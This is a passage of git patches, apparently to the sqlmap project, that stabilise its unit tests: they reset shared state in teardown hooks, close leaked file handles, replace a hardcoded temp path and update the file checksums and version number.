self.server._lock: if any(host.encode() in r for r in self.server._requests): break @@ -313,7 +313,7 @@ def oracle(payload=None, *args, **kwargs): finally: c.close() served[0] += len(chunk) - for _ in range(100): + for _ in range(500): # ~5s deadline (was ~1s) - loopback packet can lag on a loaded CI runner with self.server._lock: matched = [r for r in self.server._requests if host.encode() in r] if matched: @@ -394,3 +394,7 @@ def test_detection_failure_with_force_dns_raises(self): if __name__ == "__main__": unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_dump_format.py b/tests/test_dump_format.py index ce9076c6ba1..d3484c28fe0 100644 --- a/tests/test_dump_format.py +++ b/tests/test_dump_format.py @@ -27,7 +27,7 @@ from collections import OrderedDict as _PlainOrderedDict sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap +from _testutils import bootstrap, reset_dbms bootstrap() from lib.core.common import Backend @@ -408,3 +408,7 @@ def test_datatype_str(self): if __name__ == "__main__": unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_dump_jsonl.py b/tests/test_dump_jsonl.py index 9dc5cac8a2b..515b68bf3ef 100644 --- a/tests/test_dump_jsonl.py +++ b/tests/test_dump_jsonl.py @@ -26,7 +26,7 @@ from collections import OrderedDict sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap +from _testutils import bootstrap, reset_dbms bootstrap() from lib.core.common import Backend @@ -165,3 +165,7 @@ def test_unicode_value_not_escaped(self): if __name__ == "__main__": unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_entries.py b/tests/test_entries.py index d54a92bbcd2..b4cb78dfbc4 100644 --- a/tests/test_entries.py +++ b/tests/test_entries.py @@ -22,7 +22,7 @@ import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() @@ -800,3 +800,7 @@ def gv(query, *a, **k): if __name__ == "__main__": unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_error_engine.py b/tests/test_error_engine.py index 2c9b54c5a45..d1323172978 100644 --- a/tests/test_error_engine.py +++ b/tests/test_error_engine.py @@ -22,7 +22,7 @@ import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() from lib.core.data import conf, kb @@ -111,3 +111,7 @@ def oracle(payload=None, content=False, raise404=True, **kwargs): if __name__ == "__main__": unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_filesystem.py b/tests/test_filesystem.py index 70b6192e10b..353252f8e56 100644 --- a/tests/test_filesystem.py +++ b/tests/test_filesystem.py @@ -28,7 +28,7 @@ import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() from lib.core.data import conf, kb @@ -733,3 +733,7 @@ def test_pgsql_udfSetRemotePath_linux_and_windows(self): if __name__ == "__main__": unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_fingerprint.py b/tests/test_fingerprint.py index 0aefbd3dae9..b583ea061fa 100644 --- a/tests/test_fingerprint.py +++ b/tests/test_fingerprint.py @@ -18,7 +18,7 @@ import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() from lib.core.data import conf, kb @@ -93,12 +93,18 @@ def setUp(self): conf.batch = True conf.extensiveFp = False conf.api = False + # _drive() stubs the SHARED lib.request.inject module (plugins do `from lib.request import inject`), + # so snapshot the originals and restore them, else stubbed getValue/checkBooleanExpression leak process-wide + import lib.request.inject as _inject + self._inject = _inject + self._inject_saved = (_inject.getValue, _inject.checkBooleanExpression) def tearDown(self): for k, v in self._saved.items(): conf[k] = v for k, v in self._kb.items(): kb[k] = v + self._inject.getValue, self._inject.checkBooleanExpression = self._inject_saved def _drive(self, name, modpath, pkg, oracle): set_dbms(name) @@ -201,3 +207,7 @@ def _t(self): if __name__ == "__main__": unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_generic_takeover.py b/tests/test_generic_takeover.py index 89449adf40e..40f0f0c9d20 100644 --- a/tests/test_generic_takeover.py +++ b/tests/test_generic_takeover.py @@ -26,7 +26,7 @@ import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() @@ -599,3 +599,7 @@ def test_ossmb_windows_invokes_smb(self): if __name__ == "__main__": unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_graphql.py b/tests/test_graphql.py index 5be9d901b8a..506e8f1027f 100644 --- a/tests/test_graphql.py +++ b/tests/test_graphql.py @@ -246,6 +246,7 @@ class TestGraphqlBooleanDetection(unittest.TestCase): def setUp(self): self._gql = gi._gqlSend + self._conf = gi.conf gi.conf = type("C", (), {"url": "http://test/graphql"})() pages = {"true": MATCH, "false": NOMATCH} @@ -259,6 +260,7 @@ def fakeSend(endpoint, query, variables=None): def tearDown(self): gi._gqlSend = self._gql + gi.conf = self._conf def test_boolean_detected(self): slot = _slot("query", "Query", "user", "username", "string") @@ -277,6 +279,7 @@ class TestGraphqlErrorDetection(unittest.TestCase): def setUp(self): self._gql = gi._gqlSend + self._conf = gi.conf gi.conf = type("C", (), {"url": "http://test/graphql"})() def fakeSend(endpoint, query, variables=None): @@ -287,6 +290,7 @@ def fakeSend(endpoint, query, variables=None): def tearDown(self): gi._gqlSend = self._gql + gi.conf = self._conf def test_error_detected(self): slot = _slot("query", "Query", "user", "username", "string") @@ -372,10 +376,12 @@ class TestGraphqlIntrospectionFallback(unittest.TestCase): def setUp(self): self._gql = gi._gqlSend + self._conf = gi.conf gi.conf = type("C", (), {"url": "http://test/graphql"})() def tearDown(self): gi._gqlSend = self._gql + gi.conf = self._conf def test_fallback_without_specifiedByURL(self): calls = [] diff --git a/tests/test_identifiers_output.py b/tests/test_identifiers_output.py index dfa27ab27ae..39a97f06625 100644 --- a/tests/test_identifiers_output.py +++ b/tests/test_identifiers_output.py @@ -13,7 +13,7 @@ import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() from lib.core.common import safeSQLIdentificatorNaming, unsafeSQLIdentificatorNaming, safeCSValue @@ -83,3 +83,7 @@ def test_csv_roundtrip(self): if __name__ == "__main__": unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_inference_engine.py b/tests/test_inference_engine.py index bbc0b5a1f15..066c70406c7 100644 --- a/tests/test_inference_engine.py +++ b/tests/test_inference_engine.py @@ -24,7 +24,7 @@ import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() from lib.core.data import conf, kb @@ -151,3 +151,7 @@ def test_query_count_is_sublinear_in_charset(self): if __name__ == "__main__": unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_misc.py b/tests/test_misc.py index d92b72b17af..f3bf3faef25 100644 --- a/tests/test_misc.py +++ b/tests/test_misc.py @@ -13,7 +13,7 @@ import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() from lib.core import common as C @@ -123,3 +123,7 @@ def test_roundtrip_scalar(self): if __name__ == "__main__": unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_parse_modules.py b/tests/test_parse_modules.py index 37e90cc2eaf..f94a4d27b10 100644 --- a/tests/test_parse_modules.py +++ b/tests/test_parse_modules.py @@ -18,7 +18,7 @@ import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() from lib.core.data import kb, conf @@ -173,3 +173,7 @@ def test_missing_target_section_raises(self): if __name__ == "__main__": unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_property.py b/tests/test_property.py index 04cf72180b1..789eea47633 100644 --- a/tests/test_property.py +++ b/tests/test_property.py @@ -28,7 +28,7 @@ import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, for_all, set_dbms +from _testutils import bootstrap, for_all, set_dbms, reset_dbms bootstrap() from extra.cloak.cloak import cloak, decloak @@ -272,3 +272,7 @@ def test_stdoutencode(self): if __name__ == "__main__": unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_report.py b/tests/test_report.py index 63c4fd7e06a..d5dade14161 100644 --- a/tests/test_report.py +++ b/tests/test_report.py @@ -38,6 +38,12 @@ def setUp(self): def tearDown(self): kb.partRun = self._saved_partRun + # setupReportCollector() attaches a ReportErrorRecorder to the GLOBAL logger; drop it so it does + # not leak a handler bound to a now-closed collector into later tests + from lib.core.data import logger + for handler in list(logger.handlers): + if isinstance(handler, api.ReportErrorRecorder): + logger.removeHandler(handler) try: self.c.disconnect() except Exception: diff --git a/tests/test_search_enum.py b/tests/test_search_enum.py index ae9437ec7e0..66b3b850a5c 100644 --- a/tests/test_search_enum.py +++ b/tests/test_search_enum.py @@ -20,7 +20,7 @@ import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() @@ -548,3 +548,7 @@ def test_search_column_mysql_lt5_bruteforce_decline(self): if __name__ == "__main__": unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_target_parsing.py b/tests/test_target_parsing.py index 0dcd8312c87..c5a981f4a5a 100644 --- a/tests/test_target_parsing.py +++ b/tests/test_target_parsing.py @@ -22,6 +22,7 @@ All expected values below were probed from actual output, not assumed. """ +import atexit import os import shutil import sys @@ -29,7 +30,7 @@ import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap +from _testutils import bootstrap, reset_dbms bootstrap() from lib.core.data import conf @@ -62,7 +63,8 @@ from lib.core.target import _setResultsFile from lib.core.target import initTargetEnv -SCRATCH = "/tmp/claude-1000/-tmp-tmp-oUnlQJzlQN/fcd55d25-6313-49ed-817e-dcbe7fc2bf22/scratchpad" +SCRATCH = tempfile.mkdtemp(prefix="sqlmap-tests-") # per-run temp dir (portable; replaces a stale hardcoded path) +atexit.register(lambda: shutil.rmtree(SCRATCH, ignore_errors=True)) # conf/kb keys that the tests below mutate; saved in setUp, restored in tearDown so # one test can never leak global state into another (or into the rest of the suite). @@ -519,3 +521,7 @@ def test_creates_csv_with_header_in_multiple_target_mode(self): if __name__ == "__main__": unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_techniques.py b/tests/test_techniques.py index c1f1b6313f3..6ab50de7eb5 100644 --- a/tests/test_techniques.py +++ b/tests/test_techniques.py @@ -30,7 +30,7 @@ import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() from lib.core.data import conf, kb @@ -1518,3 +1518,7 @@ def test_non_string_char_ignored(self): if __name__ == "__main__": unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_union_engine.py b/tests/test_union_engine.py index 97ac88081d4..f0592fe4e10 100644 --- a/tests/test_union_engine.py +++ b/tests/test_union_engine.py @@ -23,7 +23,7 @@ import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() from lib.core.data import conf, kb @@ -105,3 +105,7 @@ def test_detect_beyond_first_step(self): if __name__ == "__main__": unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_users_enum.py b/tests/test_users_enum.py index d23e2db17be..f20c143280a 100644 --- a/tests/test_users_enum.py +++ b/tests/test_users_enum.py @@ -20,7 +20,7 @@ import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() @@ -476,3 +476,7 @@ def test_is_dba_mssql(self): if __name__ == "__main__": unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_xpath.py b/tests/test_xpath.py index 2c3dcfac1a5..99903382ada 100644 --- a/tests/test_xpath.py +++ b/tests/test_xpath.py @@ -9,8 +9,11 @@ formatting can be exercised without a live target. """ +import os +import sys import unittest +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) from _testutils import bootstrap bootstrap() From d60e95ede7f44a0492fadeb55aaa3a4cbe50112d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 2 Jul 2026 22:52:02 +0200 Subject: [PATCH 678/853] Some more stabilization of unittests --- data/txt/sha256sums.txt | 38 +++++++++++++++++------------------ lib/core/common.py | 4 +++- lib/core/settings.py | 2 +- lib/parse/configfile.py | 2 ++ lib/utils/hash.py | 2 ++ tests/test_api.py | 2 ++ tests/test_bigarray.py | 12 +++++++++++ tests/test_checks.py | 3 ++- tests/test_common.py | 3 +-- tests/test_filesystem.py | 13 ++++++------ tests/test_ldap.py | 15 ++++++++++++++ tests/test_nosql.py | 15 ++++++++++++++ tests/test_pagecontent.py | 1 + tests/test_payload_marking.py | 18 +++++++++++++++++ tests/test_purge.py | 5 ++++- tests/test_sgmllib.py | 1 + tests/test_ssti.py | 3 +-- tests/test_targeturl.py | 14 +++++++++++++ tests/test_texthelpers.py | 1 + tests/test_threads.py | 1 + 20 files changed, 122 insertions(+), 33 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index c654360a55e..a894ed05419 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -168,7 +168,7 @@ d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 48ffe93d61734e16c3b20153b51595853d9ac1fbcf0b537e0e61e957b0c0bfa6 lib/core/agent.py c51c33501cc905586a9aaac93b06f2ac6f71628d032a7dc39fd0ef05d7ee3856 lib/core/bigarray.py -e6866a8a8870c345334296e9533042719d32219127fafdda481566b119c3a50d lib/core/common.py +c230a214023a6556648e6af485b42fbcd10f23d2cb9018ad7bc68e36f7241328 lib/core/common.py 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py 5301ba2204404d086e9a67271cde00fc10214c63b018a95fc5aa90ff9e0b2ad9 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py @@ -189,7 +189,7 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -de1ffd738b35e31eb95467eda8a230cc81ff4d21e48e4c02c29da09299823126 lib/core/settings.py +2f2411c91cab0ee8b337c9672bd510e408e1ab44b83ec0eaf0763604f4f99926 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -201,7 +201,7 @@ b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unesc 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py fef119c6f3f2fe6a092112fd832d645c58e4c3c2af0bd97ace4487372c1e3574 lib/parse/cmdline.py -02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158 lib/parse/configfile.py +925a068efa1885fa40671414a887c088f2aafbe8cb76f01286e6bde3f624dac1 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py ea9b195e5f5030b96d1993c106c1e13fb5c7faaf6bdc5daacfd06ec984e7f323 lib/parse/html.py @@ -264,7 +264,7 @@ bd9267d94390ba87d6c5a35c90f2406d6a4135a7c8ea01db76dd9e6519eee2ed lib/utils/dial 3c4ad819589fe4fca303706dc87969273a07a04dee85e23f064b39caf1fb80e9 lib/utils/gui.py 972c5db9c9e30ac0f91c0f8d4df4531d0304e151dac99f1399c37c952ba9f935 lib/utils/har.py 0cd3860c03e39bacd1d0fe4cf1a0c605de48ff82f70441319f21d47e38e7e3a9 lib/utils/hashdb.py -f1f29dee813d08be77023543c45a4f3621ed26b1bbc133c020b618256663baaf lib/utils/hash.py +0c4ffffbf873bfc6981da6c92697331ce8d985025982ad7c6d52f2c26639df73 lib/utils/hash.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/utils/__init__.py 1bbf57e43f921d4132e6e5a336ff39454a9506b36de94ebcc45879d0abcac56a lib/utils/keysetdump.py b57aa20b7a6fd8afd07bae773fd03f8acb05655ee605362b220e65a0664dc38d lib/utils/library.py @@ -587,14 +587,14 @@ dcdeed9ee285e63cf06baf8347e3db7f210ef25a63869bab78ce1ec6898ae191 tamper/unional ce1b6bf8f296de27014d6f21aa8b3df9469d418740cd31c93d1f5e36d6c509cf tamper/xforwardedfor.py 44401cad3e39ae9fb899ed5d0e2fdd0879561de05c3117f17f3b0db54f4e3724 tests/__init__.py 0e9054da5d1fed1ddfc982b8f559914237f65d9be5e595c3218fcd236dfa7212 tests/test_agent.py -138381e05a860272fedab780e6c38ab74c59c879048b11b909d23f8df654352a tests/test_api.py -feb763ddcbf4f32822372ca53f8c71c754af7b72510ef06e1e9c77927fc90b10 tests/test_bigarray.py +9dc0ce7a038e7ac67c7f992b478a58492dad335d14761fa0600eec1f5a339c76 tests/test_api.py +694d8c87b2b98d7de6bc09fd634a2d32c436c7955c793cca6fa8790d3868f701 tests/test_bigarray.py aeefe699f477e77ec4fb46c2692a1ea04cd89ad9cce62e8857d13e3bc0606e9d tests/test_brute.py 27ad87c0ea377e0657bd6f6a4eaa0e9756aa9d28ec0483bdadeb3f66dcc4660d tests/test_charset.py -7596fc69678304923b5c945c0fd9b8ee62a2dfc7fb14ccb6dc7af30893dc8012 tests/test_checks.py +9cc73e06ba3b4c07e0d8f5fd1962f8f25ba6b7ab7278cfb094bfff76fe5e7328 tests/test_checks.py 9e678a56e16211c49ab4995b6c658d3f122bfa3b357d9e17ff38f5a489ace6ad tests/test_cloak.py 2ec894f49ca9bd750a23ead16dae176bcbc57d18ec5847fa4a5eeb886d75c1bd tests/test_common_helpers.py -d436ad4c99be71d5faadb37f63d96a498e7e2b84f257ac9c7965b2ccd999e9e9 tests/test_common.py +886754f39804a4f3f7157124b21ce08d9bad83d156dcd81bc942521bb42c4a29 tests/test_common.py 899bc085e96d68f8a8cbe0d7e55863e98ef37b73ab0e4234f7d969e31ea2d23a tests/test_comparison_json.py 7b72d4f850bbd059b8e95fceb45a58470354cb7270c99b0e9981aaa189af20d1 tests/test_comparison.py a7c3cf9f7820f377ebfdecf9383ebebc2932dd4a2a531a2b4496071f9d973c1c tests/test_compat.py @@ -615,7 +615,7 @@ ec58ba0849d90d2bb7580fe2b8b96cd8299ddfc25f14dc27d9de9d41f152c78a tests/test_dns 2bbe4b01f79992cfa8884651fc0a28dbd0e3abb0cbea9eb7eadf1f98ca3c3420 tests/test_encoding.py f4c54b19a294bf392b23dc627781d50894c8e44ca4fe5d7315c98984a3e196a4 tests/test_entries.py ed7df24ce154e4cbb4462874a38202794664d12b083845bbee9f80481ec9cf52 tests/test_error_engine.py -6f3c214128c7147307c70f0905a0d1aa8118cbbc95086c6fcadce13009fb4946 tests/test_filesystem.py +950527f0abaffdc031e34336a870cd0f89723ee8589bf77763f5978f5e4c0be8 tests/test_filesystem.py 31fa778c7ee318169961d04ea7b93afc539c24b4114a6a3eaf45698fef57bb4b tests/test_fingerprint.py abb6eef3d2d08b87b6210dde6dd1333d39da64f5abe5574240fa47efce7528f3 tests/test_generic_takeover.py b7d59fe68af29d47dda1d7ad77e9b5c91ed50e9efbb976e62e0dc67dd11b3e17 tests/test_graphql.py @@ -627,36 +627,36 @@ c04e8358fb6df45f69f2f26435c971acde280535bf304e84d30cf2681158c6a7 tests/test_has b23bf934dafe54c241761517a7b8c139159aa4b941db10832a626a51fea81e35 tests/test_http2.py 139dcedb9093eb0404ce497549eb6ab7e83ae1e70df8eb42da74ab5a3e7d2a85 tests/test_identifiers_output.py 0a5736b86a47e66d47d44ecf7b8c7531417453fc3e976cd64e9865d3afba78f4 tests/test_inference_engine.py -0fc7bd9bae4fbd09f51027780b7a8e72eab73810dccdfdf87ed9e489e6e671c9 tests/test_ldap.py +22629df783f75a88c2a30ffb8e37af095e761b771322fefbd69bdd7a5c9348fb tests/test_ldap.py 571d7761d60a2919985d065893af68eac5d12286f491eaba434c1d8587f913a0 tests/test_library.py d2f701f4c3a8621b937ddd322343df91e102af5424ab58675dec4dc7781035b4 tests/test_misc.py -790b78c600b61eb0bdd6e07e14b1db3eb2ddd5fc5d4edb9e975f85ced38558c7 tests/test_nosql.py +2f6d2270b26f68b3c9b511364c57eb5eb7b010ff716346fe2b320df30280f94c tests/test_nosql.py 88a8c7ce0ba0ca721dffbcf9351cd07f7e471ad2fe667a10608c18952b09868d tests/test_openapi_drift.py a0d173bb595ffbd2b49ee7fb1519d9898aefc262f2565923c4fe41bbc06f57e0 tests/test_openapi.py 6e63ed05db0490148d1c8428d785a23b0d5d5a0f566cd397c9c4a8fe8a6ed7dc tests/test_option.py -cde0bea1263ae857561f91ed2bd515e972b716743f017d31b1718a8546c72759 tests/test_pagecontent.py +fc698e34b53e95c2cc190dadb087d5873711202b2c5eef9db9fc6de5f9c88063 tests/test_pagecontent.py 7297b791aed9278d9252a3ade688e67796eb5c9cc4d6b29e1d2b56d83aa20295 tests/test_parse_modules.py -0d52bf4b96eea2330553fdf7f875ed571e596d2f7a4b3648a2b53e44666f0c70 tests/test_payload_marking.py +6cfe189c49749a2e0bc551173f5d2c4eb5aad8cbb1f9584ecc60958b9a842725 tests/test_payload_marking.py 6bfc8201724078bd9d6d559916ef73c9ff97e19b0f2948f37e588a49b027795f tests/test_payloads_structure.py d6ffa83bd56ae98e7f55307b72dd7ea4802bccea9a85bb8f062619fb0a88913e tests/test_progress.py 2d135eba3ad0fd091962d84742ebf67314fd3f89dcaaa1252b3e3d76fae7c9fd tests/test_property.py -c4c6f500bb71c3e430da343a49e8c8b8b3c919f438b6e6130597ce68dd856487 tests/test_purge.py +9a0915f34e1f80a2989238fcce940734cd886020c549711a8444e7ee62eab812 tests/test_purge.py 2dfefb4bfaee3868152835502ec43da317c4f274b1d55cd2ef21e4f7390c9bea tests/test_replication.py 427a543e17dfede42b9fbccc916fa0aecd93fb7bfb5c280de4c2bca87c5d8de5 tests/test_report.py 4723d3bdf9623a49972e1d7378168ae8efbeaa31fb11c35d83bb40cc135fa0a8 tests/test_request_basic.py cec98d72992c0799229a780fa7f0d7f3fb01ec2d708187ce0e4a05c8612f291b tests/test_safe2bin.py 575ebc336be598858279094072cde1ac9b124109cd7397bd805decd1b0a616d4 tests/test_search_enum.py a1c6cda1e5b483f61e6a4f8ddd0b06a15ddaa3fd2119bfb9dbd9cc970d7a751d tests/test_settings_regex.py -29d0278e3718b0fee422d3f6bb85ca02560138d48cd76f9fe1f35ac19d96071b tests/test_sgmllib.py +295581435c4dbf7fe6c291bbf0163c43ccb6ee610e6f3f2609bfeed734c91a1a tests/test_sgmllib.py d3d991331096e16e5019de3d652e9fff92c09bd9f97c50b1c2c3ceb0ed49b17e tests/test_sqlparse.py -412a61053c2531cc0380b34dfd01d52bd118f6a6473728c069c467054c7e3c8e tests/test_ssti.py +19e1e17d7a94e42cf75a37901c3468c79807a2d423bd1988b6f4a2566b864f3b tests/test_ssti.py 8bcbf1091134dd0a62f6201f8b3645ed87b5ff2f7ba40a87231a29dac412591f tests/test_strings.py 8f1c5f0f337ecd26d35c5551060034e0aa33a62cce5385fc1227fdc485f6383e tests/test_tamper.py b2b3a00254301e5e880e2e77351ebc47eed2c5280477915feedf780ea8cbd34f tests/test_target_parsing.py -b3e13febe9e0ff6f97334f2868655bfdbaa18755e464a6dc4c6d424f513bad02 tests/test_targeturl.py +cc67045d60472913eca574d601077e5111a95f4563c66caf361b8deaa2bed03c tests/test_targeturl.py d7d8aaba1d22ee690c8da2c6e28cea0ab45b0d7a6915a5ae7f581c44d7121aab tests/test_techniques.py -639851dc68f62b559b200b09c308e64e453f414969940005bac75dc0ab07a6b6 tests/test_texthelpers.py -f49bcce1df533ffa1acfd02af43faf6687b21eebda9362ceb1e5871b8cb37fd4 tests/test_threads.py +61769e1d6c4429659ebfb2de696b506821e3c6f3ca81b4318ce790b9553ca6a3 tests/test_texthelpers.py +095a889a6274f0f8e437bf9a23e4b073ab6c4b60aba582e6d1e2099645f1d883 tests/test_threads.py 8d23cb42cde68e0da2c4b47db367139d0c53363fef7493ae70b7f6636a1bbbc7 tests/test_union_engine.py 48b0ae4abe0fdde8ce4975c5cbf4c3514a2815021cb2e3a490a189bea5edfe78 tests/test_unpickle_security.py 4b646f513c6da1e33200184ed6eabe0aa345eb2e2a19598dc123e191168591bf tests/test_urls.py diff --git a/lib/core/common.py b/lib/core/common.py index e23288d4460..9a86af8cda3 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2099,7 +2099,9 @@ def getFileType(filePath): desc = getText(desc) if desc == getText(magic.MAGIC_UNKNOWN_FILETYPE): - content = openFile(filePath, "rb", encoding=None).read() + _ = openFile(filePath, "rb", encoding=None) + content = _.read() + _.close() try: content.decode() diff --git a/lib/core/settings.py b/lib/core/settings.py index fa05cc0edd8..4600eb3d176 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.20" +VERSION = "1.10.7.21" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/configfile.py b/lib/parse/configfile.py index a3bd3786b4f..88f91ce7828 100644 --- a/lib/parse/configfile.py +++ b/lib/parse/configfile.py @@ -75,6 +75,8 @@ def configFileParser(configFile): except Exception as ex: errMsg = "you have provided an invalid and/or unreadable configuration file ('%s')" % getSafeExString(ex) raise SqlmapSyntaxException(errMsg) + finally: + configFP.close() if not config.has_section("Target"): errMsg = "missing a mandatory section 'Target' in the configuration file" diff --git a/lib/utils/hash.py b/lib/utils/hash.py index b26388265dd..cca7d4fc3e3 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -1225,6 +1225,7 @@ def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc pass finally: + wordlist.closeFP() # release the wordlist file handle (else it leaks; Windows can't rmtree an open file) if hasattr(proc_count, "value"): with proc_count.get_lock(): proc_count.value -= 1 @@ -1304,6 +1305,7 @@ def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found pass finally: + wordlist.closeFP() # release the wordlist file handle (else it leaks; Windows can't rmtree an open file) if hasattr(proc_count, "value"): with proc_count.get_lock(): proc_count.value -= 1 diff --git a/tests/test_api.py b/tests/test_api.py index a76d814d64c..4360c3e7058 100644 --- a/tests/test_api.py +++ b/tests/test_api.py @@ -86,6 +86,7 @@ class _ApiServerCase(unittest.TestCase): """ def setUp(self): + self._saved_batch = conf.batch conf.batch = True # snapshot 